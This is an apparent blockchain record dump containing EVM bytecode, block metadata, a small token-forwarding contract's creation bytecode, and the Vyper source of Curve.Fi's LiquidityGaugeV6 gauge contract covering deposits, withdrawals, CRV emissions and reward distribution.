5810190505460805260025460a05260a05115611aca574260116060516020525f5260405f20600281019050548082811882841002189050905060c05260c05160116060516020525f5260405f20600481019050548082038281116128e1579050905060e05260805160e05160116060516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060a05180156128e157808204905090508082018281106128e157905090506080525b60136060516020525f5260405f20806040516020525f5260405f2090505460c05260016040516020525f5260405f205460805160c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a76400008104905060e05260146040516020525f5260405f20806060516020525f5260405f2090505460801c60e0518082018281106128e15790509050610100526020610100f3611c2d565b63180692d08118611baf57346128e157600f547affffffffffffffffffffffffffffffffffffffffffffffffffffff8116905060405260206040f35b6354fd4d508118611c2d57346128e15760208060805260066040527f76362e312e30000000000000000000000000000000000000000000000000000060605260408160800181518152602082015160208201528051806020830101601f825f03163682375050601f19601f8251602001011690509050810190506080f35b5f5ffd5b60206129855f395f514614611cb9577f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60605260206129656080397f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb246660a0524660c0523060e05260206129a56101003960c06040526040805160208201209050815250611cc2565b60206129c58239505b565b601a546060526060516c01431e0fae6d7217ca9fffffff81116128e157602301546080526060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460a052600f5460c05260c05160d81c60e052600e546101005260c0517affffffffffffffffffffffffffffffffffffffffffffffffffffff811690506101205261012051610140526101005115611d6857604036610120375b60805160e05110611e265763b26b238e610180526020610180600461019c5f73d533a949740bb3306d119cc777fa900ba034cd525af1611daa573d5f5f3e3d5ffd5b60203d106128e157610180516101605261010051611e0957632c4e722e610180526020610180600461019c73d533a949740bb3306d119cc777fa900ba034cd525afa611df8573d5f5f3e3d5ffd5b60203d106128e15761018051610140525b6101605160d81b610140518082018281106128e15790509050600f555b6080514211156120fa576016546101605263615e523761018052306101a052732f50d538606fa9edd2b11e2446beb18c9d5846bb3b156128e1575f610180602461019c5f732f50d538606fa9edd2b11e2446beb18c9d5846bb5af1611e8d573d5f5f3e3d5ffd5b6080516101805260805162093a8081018181106128e157905062093a808104905062093a8081028162093a808204186128e157905042808281188284100218905090506101a0525f6101f4905b806101c0526101a051610180518082038281116128e157905090506101e05263d3078c9461022052306102405261018051610260526020610220604461023c732f50d538606fa9edd2b11e2446beb18c9d5846bb5afa611f3c573d5f5f3e3d5ffd5b60203d106128e157610220516102005261016051156120b0576101805160e0511015611f68575f611f71565b6101a05160e051105b611fd35760a05161012051610200518082028115838383041417156128e157905090506101e0518082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0526120b0565b60a05161012051610200518082028115838383041417156128e1579050905060e051610180518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a052610140516101205260a05161012051610200518082028115838383041417156128e157905090506101a05160e0518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0525b426101a051186120bf576120f7565b6101a051610180526101a05162093a8081018181106128e157905042808281188284100218905090506101a052600101818118611eda575b50505b6060516001810180600f0b81186128e1579050606052606051601a55426060516c01431e0fae6d7217ca9fffffff81116128e1576023015560a0516060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015560156040516020525f5260405f20546101605260196040516020525f5260405f2080546101605160a05160176040516020525f5260405f20548082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490508082018281106128e1579050905081555060a05160176040516020525f5260405f20554260186040516020525f5260405f2055565b5f60c05260a05160e052604051156122545760016040516020525f5260405f205460c05260805161222a575f61222f565b60a051155b156122545760126040516020525f5260405f205460e05260e0516122545760405160e0525b601054610100525f6008905b8061012052610100516101205118612277576125bf565b61012051600781116128e157601b0154610140526011610140516020525f5260405f206005810190505461016052426011610140516020525f5260405f20600281019050548082811882841002189050905061018052610180516011610140516020525f5260405f20600481019050548082038281116128e157905090506101a0526101a0511561230c57606051151561230e565b5f5b156123ba57610180516011610140516020525f5260405f2060048101905055610160516101a0516011610140516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060605180156128e157808204905090508082018281106128e1579050905061016052610160516011610140516020525f5260405f20600581019050555b604051156125b4576013610140516020525f5260405f20806040516020525f5260405f209050546101c0525f6101e052610160516101c051101561245a57610160516013610140516020525f5260405f20806040516020525f5260405f2090505560c051610160516101c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490506101e0525b60146040516020525f5260405f2080610140516020525f5260405f20905054610200526102005160801c6101e0518082018281106128e157905090506102205261022051156125b457610200516fffffffffffffffffffffffffffffffff811690506102405260805161250d576101e051156125b457610240516102205160801b8082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050556125b4565b6101405163a9059cbb6102605260e05161028052610220516102a0526020610260604461027c5f855af1612543573d5f5f3e3d5ffd5b3d61255a57803b156128e15760016102c052612573565b60203d106128e157610260518060011c6128e1576102c0525b6102c0905051156128e15761024051610220518082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050555b600101818118612260575b5050565b63bbf7408a60c05260405160e052602060c0602460dc738e0c00ed546602fd9927df742bbabf726d5b0d165afa6125fc573d5f5f3e3d5ffd5b60203d106128e15760c05160a0526318160ddd60e052602060e0600460fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa61263d573d5f5f3e3d5ffd5b60203d106128e15760e05160c052606051602881028160288204186128e157905060648104905060e05260c051156126c45760e05160805160a0518082028115838383041417156128e1579050905060c05180156128e15780820490509050603c810281603c8204186128e15790506064810490508082018281106128e1579050905060e0525b60605160e0518082811882841002189050905060e05260156040516020525f5260405f20546101005260e05160156040516020525f5260405f205560165460e0518082018281106128e15790509050610100518082038281116128e1579050905061012052610120516016556040517f7ecd84343f76a23d2227290e0288da3251b045541698e575a5515af4f04197a3606051610140526080516101605260e05161018052610120516101a0526080610140a2565b6102e051604052612788611cc4565b61030051604052612797611cc4565b61032051156128a8576002546103405260105415156103605261036051156127d5576102e051604052610340516060526040366080376127d56121f9565b60016102e0516020525f5260405f2054610320518082038281116128e15790509050610380526103805160016102e0516020525f5260405f20556102e051604052610380516060526103405160805261282c6125c3565b61036051156128515761030051604052610340516060526040366080376128516121f9565b6001610300516020525f5260405f2054610320518082018281106128e1579050905061038052610380516001610300516020525f5260405f20556103005160405261038051606052610340516080526128a86125c3565b610300516102e0517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61032051610340526020610340a3565b5f80fd047203f31c2d02c91c2d1c2d1c2d08ec1493082f07f01c2d0b6c0c441c2d0fe81b7311ec1c2d13bc1c2d04d3145a129d07941c2d1c2d0f061c2d0131072a1c2d1c2d1c2d1c2d1c2d185e0bee06ea15491c2d0b1c1c2d1c2d1c2d158a1c2d1c2d1c2d00b7088e001819b505150d6319441c2d070a084f0f861c2d0afc023f1c2d77ba45209e1a9fff446fd805afafd739f1c5824bdda4a74112231c146b8d0eef00000000000000000000000000000000000000000000000000000000000000011dc2602533d9b843b99d2358fa230f747fb76ea763f8014bc1e84928075a5fd3d61a15d35b92e40f108b664039a06d24126b59296d3c9927b3b3c1d851b1ff07
# pragma version 0.3.10 # pragma optimize gas # pragma evm-version shanghai """ @title LiquidityGaugeV6 @author Curve.Fi @license Copyright (c) Curve.Fi, 2020-2023 - all rights reserved @notice Implementation contract for use with Curve Factory @dev Differs from v5.0.0 in that it uses create_from_blueprint to deploy Gauges """ from vyper.interfaces import ERC20 implements: ERC20 interface CRV20: def future_epoch_time_write() -> uint256: nonpayable def rate() -> uint256: view interface Controller: def checkpoint_gauge(addr: address): nonpayable def gauge_relative_weight(addr: address, time: uint256) -> uint256: view interface ERC20Extended: def symbol() -> String[32]: view interface ERC1271: def isValidSignature(_hash: bytes32, _signature: Bytes[65]) -> bytes32: view interface Factory: def admin() -> address: view interface Minter: def minted(user: address, gauge: address) -> uint256: view interface VotingEscrow: def user_point_epoch(addr: address) -> uint256: view def user_point_history__ts(addr: address, epoch: uint256) -> uint256: view interface VotingEscrowBoost: def adjusted_balance_of(_account: address) -> uint256: view event Deposit: provider: indexed(address) value: uint256 event Withdraw: provider: indexed(address) value: uint256 event UpdateLiquidityLimit: user: indexed(address) original_balance: uint256 original_supply: uint256 working_balance: uint256 working_supply: uint256 event CommitOwnership: admin: address event ApplyOwnership: admin: address event SetGaugeManager: _gauge_manager: address event Transfer: _from: indexed(address) _to: indexed(address) _value: uint256 event Approval: _owner: indexed(address) _spender: indexed(address) _value: uint256 struct Reward: token: address distributor: address period_finish: uint256 rate: uint256 last_update: uint256 integral: uint256 MAX_REWARDS: constant(uint256) = 8 TOKENLESS_PRODUCTION: constant(uint256) = 40 WEEK: constant(uint256) = 604800 VERSION: constant(String[8]) = "v6.1.0" # <- updated from v6.0.0 (makes rewards semi-permissionless) EIP712_TYPEHASH: constant(bytes32) = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)") EIP2612_TYPEHASH: constant(bytes32) = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") VERSION_HASH: constant(bytes32) = keccak256(VERSION) NAME_HASH: immutable(bytes32) CACHED_CHAIN_ID: immutable(uint256) salt: public(immutable(bytes32)) CACHED_DOMAIN_SEPARATOR: immutable(bytes32) CRV: constant(address) = 0xD533a949740bb3306d119CC777fa900bA034cd52 GAUGE_CONTROLLER: constant(address) = 0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB MINTER: constant(address) = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0 VEBOOST_PROXY: constant(address) = 0x8E0c00ed546602fD9927DF742bbAbF726D5B0d16 VOTING_ESCROW: constant(address) = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2 # ERC20 balanceOf: public(HashMap[address, uint256]) totalSupply: public(uint256) allowance: public(HashMap[address, HashMap[address, uint256]]) name: public(String[64]) symbol: public(String[40]) # ERC2612 nonces: public(HashMap[address, uint256]) # Gauge factory: public(address) manager: public(address) lp_token: public(address) is_killed: public(bool) # [future_epoch_time uint40][inflation_rate uint216] inflation_params: uint256 # For tracking external rewards reward_count: public(uint256) reward_data: public(HashMap[address, Reward]) # claimant -> default reward receiver rewards_receiver: public(HashMap[address, address]) # reward token -> claiming address -> integral reward_integral_for: public(HashMap[address, HashMap[address, uint256]]) # user -> [uint128 claimable amount][uint128 claimed amount] claim_data: HashMap[address, HashMap[address, uint256]] working_balances: public(HashMap[address, uint256]) working_supply: public(uint256) # 1e18 * ∫(rate(t) / totalSupply(t) dt) from (last_action) till checkpoint integrate_inv_supply_of: public(HashMap[address, uint256]) integrate_checkpoint_of: public(HashMap[address, uint256]) # ∫(balance * rate(t) / totalSupply(t) dt) from 0 till checkpoint # Units: rate * t = already number of coins per address to issue integrate_fraction: public(HashMap[address, uint256]) # The goal is to be able to calculate ∫(rate * balance / totalSupply dt) from 0 till checkpoint # All values are kept in units of being multiplied by 1e18 period: public(int128) # array of reward tokens reward_tokens: public(address[MAX_REWARDS]) period_timestamp: public(uint256[100000000000000000000000000000]) # 1e18 * ∫(rate(t) / totalSupply(t) dt) from 0 till checkpoint integrate_inv_supply: public(uint256[100000000000000000000000000000]) # bump epoch when rate() changes @external def __init__(_lp_token: address): """ @notice Contract constructor @param _lp_token Liquidity Pool contract address """ self.lp_token = _lp_token self.factory = msg.sender self.manager = tx.origin symbol: String[32] = ERC20Extended(_lp_token).symbol() name: String[64] = concat("Curve.fi ", symbol, " Gauge Deposit") self.name = name self.symbol = concat(symbol, "-gauge") self.period_timestamp[0] = block.timestamp self.inflation_params = ( (CRV20(CRV).future_epoch_time_write() << 216) + CRV20(CRV).rate() ) NAME_HASH = keccak256(name) salt = block.prevhash CACHED_CHAIN_ID = chain.id CACHED_DOMAIN_SEPARATOR = keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) # Internal Functions @view @internal def _domain_separator() -> bytes32: if chain.id != CACHED_CHAIN_ID: return keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) return CACHED_DOMAIN_SEPARATOR @internal def _checkpoint(addr: address): """ @notice Checkpoint for a user @dev Updates the CRV emissions a user is entitled to receive @param addr User address """ _period: int128 = self.period _period_time: uint256 = self.period_timestamp[_period] _integrate_inv_supply: uint256 = self.integrate_inv_supply[_period] inflation_params: uint256 = self.inflation_params prev_future_epoch: uint256 = inflation_params >> 216 gauge_is_killed: bool = self.is_killed rate: uint256 = inflation_params % 2 ** 216 new_rate: uint256 = rate if gauge_is_killed: rate = 0 new_rate = 0 if prev_future_epoch >= _period_time: future_epoch_time_write: uint256 = CRV20(CRV).future_epoch_time_write() if not gauge_is_killed: new_rate = CRV20(CRV).rate() self.inflation_params = (future_epoch_time_write << 216) + new_rate # Update integral of 1/supply if block.timestamp > _period_time: _working_supply: uint256 = self.working_supply Controller(GAUGE_CONTROLLER).checkpoint_gauge(self) prev_week_time: uint256 = _period_time week_time: uint256 = min((_period_time + WEEK) / WEEK * WEEK, block.timestamp) for i in range(500): dt: uint256 = week_time - prev_week_time w: uint256 = Controller(GAUGE_CONTROLLER).gauge_relative_weight(self, prev_week_time) if _working_supply > 0: if prev_future_epoch >= prev_week_time and prev_future_epoch < week_time: # If we went across one or multiple epochs, apply the rate # of the first epoch until it ends, and then the rate of # the last epoch. # If more than one epoch is crossed - the gauge gets less, # but that'd meen it wasn't called for more than 1 year _integrate_inv_supply += rate * w * (prev_future_epoch - prev_week_time) / _working_supply rate = new_rate _integrate_inv_supply += rate * w * (week_time - prev_future_epoch) / _working_supply else: _integrate_inv_supply += rate * w * dt / _working_supply # On precisions of the calculation # rate ~= 10e18 # last_weight > 0.01 * 1e18 = 1e16 (if pool weight is 1%) # _working_supply ~= TVL * 1e18 ~= 1e26 ($100M for example) # The largest loss is at dt = 1 # Loss is 1e-9 - acceptable if week_time == block.timestamp: break prev_week_time = week_time week_time = min(week_time + WEEK, block.timestamp) _period += 1 self.period = _period self.period_timestamp[_period] = block.timestamp self.integrate_inv_supply[_period] = _integrate_inv_supply # Update user-specific integrals _working_balance: uint256 = self.working_balances[addr] self.integrate_fraction[addr] += _working_balance * (_integrate_inv_supply - self.integrate_inv_supply_of[addr]) / 10 ** 18 self.integrate_inv_supply_of[addr] = _integrate_inv_supply self.integrate_checkpoint_of[addr] = block.timestamp @internal def _checkpoint_rewards(_user: address, _total_supply: uint256, _claim: bool, _receiver: address): """ @notice Claim pending rewards and checkpoint rewards for a user """ user_balance: uint256 = 0 receiver: address = _receiver if _user != empty(address): user_balance = self.balanceOf[_user] if _claim and _receiver == empty(address): # if receiver is not explicitly declared, check if a default receiver is set receiver = self.rewards_receiver[_user] if receiver == empty(address): # if no default receiver is set, direct claims to the user receiver = _user reward_count: uint256 = self.reward_count for i in range(MAX_REWARDS): if i == reward_count: break token: address = self.reward_tokens[i] integral: uint256 = self.reward_data[token].integral last_update: uint256 = min(block.timestamp, self.reward_data[token].period_finish) duration: uint256 = last_update - self.reward_data[token].last_update if duration != 0 and _total_supply != 0: self.reward_data[token].last_update = last_update integral += duration * self.reward_data[token].rate * 10**18 / _total_supply self.reward_data[token].integral = integral if _user != empty(address): integral_for: uint256 = self.reward_integral_for[token][_user] new_claimable: uint256 = 0 if integral_for < integral: self.reward_integral_for[token][_user] = integral new_claimable = user_balance * (integral - integral_for) / 10**18 claim_data: uint256 = self.claim_data[_user][token] total_claimable: uint256 = (claim_data >> 128) + new_claimable if total_claimable > 0: total_claimed: uint256 = claim_data % 2**128 if _claim: assert ERC20(token).transfer(receiver, total_claimable, default_return_value=True) self.claim_data[_user][token] = total_claimed + total_claimable elif new_claimable > 0: self.claim_data[_user][token] = total_claimed + (total_claimable << 128) @internal def _update_liquidity_limit(addr: address, l: uint256, L: uint256): """ @notice Calculate limits which depend on the amount of CRV token per-user. Effectively it calculates working balances to apply amplification of CRV production by CRV @param addr User address @param l User's amount of liquidity (LP tokens) @param L Total amount of liquidity (LP tokens) """ # To be called after totalSupply is updated voting_balance: uint256 = VotingEscrowBoost(VEBOOST_PROXY).adjusted_balance_of(addr) voting_total: uint256 = ERC20(VOTING_ESCROW).totalSupply() lim: uint256 = l * TOKENLESS_PRODUCTION / 100 if voting_total > 0: lim += L * voting_balance / voting_total * (100 - TOKENLESS_PRODUCTION) / 100 lim = min(l, lim) old_bal: uint256 = self.working_balances[addr] self.working_balances[addr] = lim _working_supply: uint256 = self.working_supply + lim - old_bal self.working_supply = _working_supply log UpdateLiquidityLimit(addr, l, L, lim, _working_supply) @internal def _transfer(_from: address, _to: address, _value: uint256): """ @notice Transfer tokens as well as checkpoint users """ self._checkpoint(_from) self._checkpoint(_to) if _value != 0: total_supply: uint256 = self.totalSupply is_rewards: bool = self.reward_count != 0 if is_rewards: self._checkpoint_rewards(_from, total_supply, False, empty(address)) new_balance: uint256 = self.balanceOf[_from] - _value self.balanceOf[_from] = new_balance self._update_liquidity_limit(_from, new_balance, total_supply) if is_rewards: self._checkpoint_rewards(_to, total_supply, False, empty(address)) new_balance = self.balanceOf[_to] + _value self.balanceOf[_to] = new_balance self._update_liquidity_limit(_to, new_balance, total_supply) log Transfer(_from, _to, _value) # External User Facing Functions @external @nonreentrant('lock') def deposit(_value: uint256, _addr: address = msg.sender, _claim_rewards: bool = False): """ @notice Deposit `_value` LP tokens @dev Depositting also claims pending reward tokens @param _value Number of tokens to deposit @param _addr Address to deposit for """ assert _addr != empty(address) # dev: cannot deposit for zero address self._checkpoint(_addr) if _value != 0: is_rewards: bool = self.reward_count != 0 total_supply: uint256 = self.totalSupply if is_rewards: self._checkpoint_rewards(_addr, total_supply, _claim_rewards, empty(address)) total_supply += _value new_balance: uint256 = self.balanceOf[_addr] + _value self.balanceOf[_addr] = new_balance self.totalSupply = total_supply self._update_liquidity_limit(_addr, new_balance, total_supply) ERC20(self.lp_token).transferFrom(msg.sender, self, _value) log Deposit(_addr, _value) log Transfer(empty(address), _addr, _value) @external @nonreentrant('lock') def withdraw(_value: uint256, _claim_rewards: bool = False): """ @notice Withdraw `_value` LP tokens @dev Withdrawing also claims pending reward tokens @param _value Number of tokens to withdraw """ self._checkpoint(msg.sender) if _value != 0: is_rewards: bool = self.reward_count != 0 total_supply: uint256 = self.totalSupply if is_rewards: self._checkpoint_rewards(msg.sender, total_supply, _claim_rewards, empty(address)) total_supply -= _value new_balance: uint256 = self.balanceOf[msg.sender] - _value self.balanceOf[msg.sender] = new_balance self.totalSupply = total_supply self._update_liquidity_limit(msg.sender, new_balance, total_supply) ERC20(self.lp_token).transfer(msg.sender, _value) log Withdraw(msg.sender, _value) log Transfer(msg.sender, empty(address), _value) @external @nonreentrant('lock') def claim_rewards(_addr: address = msg.sender, _receiver: address = empty(address)): """ @notice Claim available reward tokens for `_addr` @param _addr Address to claim for @param _receiver Address to transfer rewards to - if set to empty(address), uses the default reward receiver for the caller """ if _receiver != empty(address): assert _addr == msg.sender # dev: cannot redirect when claiming for another user self._checkpoint_rewards(_addr, self.totalSupply, True, _receiver) @external @nonreentrant('lock') def transferFrom(_from: address, _to :address, _value: uint256) -> bool: """ @notice Transfer tokens from one address to another. @dev Transferring claims pending reward tokens for the sender and receiver @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred """ _allowance: uint256 = self.allowance[_from][msg.sender] if _allowance != max_value(uint256): self.allowance[_from][msg.sender] = _allowance - _value self._transfer(_from, _to, _value) return True @external @nonreentrant('lock') def transfer(_to: address, _value: uint256) -> bool: """ @notice Transfer token for a specified address @dev Transferring claims pending reward tokens for the sender and receiver @param _to The address to transfer to. @param _value The amount to be transferred. """ self._transfer(msg.sender, _to, _value) return True @external def approve(_spender : address, _value : uint256) -> bool: """ @notice Approve the passed address to transfer the specified amount of tokens on behalf of msg.sender @dev Beware that changing an allowance via this method brings the risk that someone may use both the old and new allowance by unfortunate transaction ordering. This may be mitigated with the use of {incraseAllowance} and {decreaseAllowance}. https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address which will transfer the funds @param _value The amount of tokens that may be transferred @return bool success """ self.allowance[msg.sender][_spender] = _value log Approval(msg.sender, _spender, _value) return True @external def permit( _owner: address, _spender: address, _value: uint256, _deadline: uint256, _v: uint8, _r: bytes32, _s: bytes32 ) -> bool: """ @notice Approves spender by owner's signature to expend owner's tokens. See https://eips.ethereum.org/EIPS/eip-2612. @dev Inspired by https://github.com/yearn/yearn-vaults/blob/main/contracts/Vault.vy#L753-L793 @dev Supports smart contract wallets which implement ERC1271 https://eips.ethereum.org/EIPS/eip-1271 @param _owner The address which is a source of funds and has signed the Permit. @param _spender The address which is allowed to spend the funds. @param _value The amount of tokens to be spent. @param _deadline The timestamp after which the Permit is no longer valid. @param _v The bytes[64] of the valid secp256k1 signature of permit by owner @param _r The bytes[0:32] of the valid secp256k1 signature of permit by owner @param _s The bytes[32:64] of the valid secp256k1 signature of permit by owner @return True, if transaction completes successfully """ assert _owner != empty(address) # dev: invalid owner assert block.timestamp <= _deadline # dev: permit expired nonce: uint256 = self.nonces[_owner] digest: bytes32 = keccak256( concat( b"\x19\x01", self._domain_separator(), keccak256( _abi_encode( EIP2612_TYPEHASH, _owner, _spender, _value, nonce, _deadline ) ), ) ) assert ecrecover(digest, _v, _r, _s) == _owner # dev: invalid signature self.allowance[_owner][_spender] = _value self.nonces[_owner] = unsafe_add(nonce, 1) log Approval(_owner, _spender, _value) return True @external def increaseAllowance(_spender: address, _added_value: uint256) -> bool: """ @notice Increase the allowance granted to `_spender` by the caller @dev This is alternative to {approve} that can be used as a mitigation for the potential race condition @param _spender The address which will transfer the funds @param _added_value The amount of to increase the allowance @return bool success """ allowance: uint256 = self.allowance[msg.sender][_spender] + _added_value self.allowance[msg.sender][_spender] = allowance log Approval(msg.sender, _spender, allowance) return True @external def decreaseAllowance(_spender: address, _subtracted_value: uint256) -> bool: """ @notice Decrease the allowance granted to `_spender` by the caller @dev This is alternative to {approve} that can be used as a mitigation for the potential race condition @param _spender The address which will transfer the funds @param _subtracted_value The amount of to decrease the allowance @return bool success """ allowance: uint256 = self.allowance[msg.sender][_spender] - _subtracted_value self.allowance[msg.sender][_spender] = allowance log Approval(msg.sender, _spender, allowance) return True @external def user_checkpoint(addr: address) -> bool: """ @notice Record a checkpoint for `addr` @param addr User address @return bool success """ assert msg.sender in [addr, MINTER] # dev: unauthorized self._checkpoint(addr) self._update_liquidity_limit(addr, self.balanceOf[addr], self.totalSupply) return True @external def set_rewards_receiver(_receiver: address): """ @notice Set the default reward receiver for the caller. @dev When set to empty(address), rewards are sent to the caller @param _receiver Receiver address for any rewards claimed via `claim_rewards` """ self.rewards_receiver[msg.sender] = _receiver @external def kick(addr: address): """ @notice Kick `addr` for abusing their boost @dev Only if either they had another voting event, or their voting escrow lock expired @param addr Address to kick """ t_last: uint256 = self.integrate_checkpoint_of[addr] t_ve: uint256 = VotingEscrow(VOTING_ESCROW).user_point_history__ts( addr, VotingEscrow(VOTING_ESCROW).user_point_epoch(addr) ) _balance: uint256 = self.balanceOf[addr] assert ERC20(VOTING_ESCROW).balanceOf(addr) == 0 or t_ve > t_last # dev: kick not allowed assert self.working_balances[addr] > _balance * TOKENLESS_PRODUCTION / 100 # dev: kick not needed self._checkpoint(addr) self._update_liquidity_limit(addr, self.balanceOf[addr], self.totalSupply) # Administrative Functions @external def set_gauge_manager(_gauge_manager: address): """ @notice Change the gauge manager for a gauge @dev The manager of this contract, or the ownership admin can outright modify gauge managership. A gauge manager can also transfer managership to a new manager via this method, but only for the gauge which they are the manager of. @param _gauge_manager The account to set as the new manager of the gauge. """ assert msg.sender in [self.manager, Factory(self.factory).admin()] # dev: only manager or factory admin self.manager = _gauge_manager log SetGaugeManager(_gauge_manager) @external @nonreentrant("lock") def deposit_reward_token(_reward_token: address, _amount: uint256, _epoch: uint256 = WEEK): """ @notice Deposit a reward token for distribution @param _reward_token The reward token being deposited @param _amount The amount of `_reward_token` being deposited @param _epoch The duration the rewards are distributed across. """ assert msg.sender == self.reward_data[_reward_token].distributor self._checkpoint_rewards(empty(address), self.totalSupply, False, empty(address)) # transferFrom reward token and use transferred amount henceforth: amount_received: uint256 = ERC20(_reward_token).balanceOf(self) assert ERC20(_reward_token).transferFrom( msg.sender, self, _amount, default_return_value=True ) amount_received = ERC20(_reward_token).balanceOf(self) - amount_received period_finish: uint256 = self.reward_data[_reward_token].period_finish assert amount_received > _epoch # dev: rate will tend to zero! if block.timestamp >= period_finish: self.reward_data[_reward_token].rate = amount_received / _epoch else: remaining: uint256 = period_finish - block.timestamp leftover: uint256 = remaining * self.reward_data[_reward_token].rate self.reward_data[_reward_token].rate = (amount_received + leftover) / _epoch self.reward_data[_reward_token].last_update = block.timestamp self.reward_data[_reward_token].period_finish = block.timestamp + _epoch @external def add_reward(_reward_token: address, _distributor: address): """ @notice Add additional rewards to be distributed to stakers @param _reward_token The token to add as an additional reward @param _distributor Address permitted to fund this contract with the reward token """ assert msg.sender in [self.manager, Factory(self.factory).admin()] # dev: only manager or factory admin assert _distributor != empty(address) # dev: distributor cannot be zero address reward_count: uint256 = self.reward_count assert reward_count < MAX_REWARDS assert self.reward_data[_reward_token].distributor == empty(address) self.reward_data[_reward_token].distributor = _distributor self.reward_tokens[reward_count] = _reward_token self.reward_count = reward_count + 1 @external def set_reward_distributor(_reward_token: address, _distributor: address): """ @notice Reassign the reward distributor for a reward token @param _reward_token The reward token to reassign distribution rights to @param _distributor The address of the new distributor """ current_distributor: address = self.reward_data[_reward_token].distributor assert msg.sender in [current_distributor, Factory(self.factory).admin(), self.manager] assert current_distributor != empty(address) assert _distributor != empty(address) self.reward_data[_reward_token].distributor = _distributor @external def set_killed(_is_killed: bool): """ @notice Set the killed status for this contract @dev When killed, the gauge always yields a rate of 0 and so cannot mint CRV @param _is_killed Killed status to set """ assert msg.sender == Factory(self.factory).admin() # dev: only owner self.is_killed = _is_killed # View Methods @view @external def claimed_reward(_addr: address, _token: address) -> uint256: """ @notice Get the number of already-claimed reward tokens for a user @param _addr Account to get reward amount for @param _token Token to get reward amount for @return uint256 Total amount of `_token` already claimed by `_addr` """ return self.claim_data[_addr][_token] % 2**128 @view @external def claimable_reward(_user: address, _reward_token: address) -> uint256: """ @notice Get the number of claimable reward tokens for a user @param _user Account to get reward amount for @param _reward_token Token to get reward amount for @return uint256 Claimable reward token amount """ integral: uint256 = self.reward_data[_reward_token].integral total_supply: uint256 = self.totalSupply if total_supply != 0: last_update: uint256 = min(block.timestamp, self.reward_data[_reward_token].period_finish) duration: uint256 = last_update - self.reward_data[_reward_token].last_update integral += (duration * self.reward_data[_reward_token].rate * 10**18 / total_supply) integral_for: uint256 = self.reward_integral_for[_reward_token][_user] new_claimable: uint256 = self.balanceOf[_user] * (integral - integral_for) / 10**18 return (self.claim_data[_user][_reward_token] >> 128) + new_claimable @external def claimable_tokens(addr: address) -> uint256: """ @notice Get the number of claimable tokens per user @dev This function should be manually changed to "view" in the ABI @return uint256 number of claimable tokens per user """ self._checkpoint(addr) return self.integrate_fraction[addr] - Minter(MINTER).minted(addr, self) @view @external def integrate_checkpoint() -> uint256: """ @notice Get the timestamp of the last checkpoint """ return self.period_timestamp[self.period] @view @external def future_epoch_time() -> uint256: """ @notice Get the locally stored CRV future epoch start time """ return self.inflation_params >> 216 @view @external def inflation_rate() -> uint256: """ @notice Get the locally stored CRV inflation rate """ return self.inflation_params % 2 ** 216 @view @external def decimals() -> uint256: """ @notice Get the number of decimals for this token @dev Implemented as a view method to reduce gas costs @return uint256 decimal places """ return 18 @view @external def version() -> String[8]: """ @notice Get the version of this gauge contract """ return VERSION @view @external def DOMAIN_SEPARATOR() -> bytes32: """ @notice EIP712 domain separator. """ return self._domain_separator()
1
19,493,234
f7ffc26e6c6d6efe3efe90b2cc8869a1f81c6804bc84d063968f6135a6f086f0
a690748f835dfd8d898b25537849965c3aac0725a62bc66643fafab11e589940
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
d9d4afadb611fffae7c37dcbb74d5e2842562d4c
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
1
19,493,235
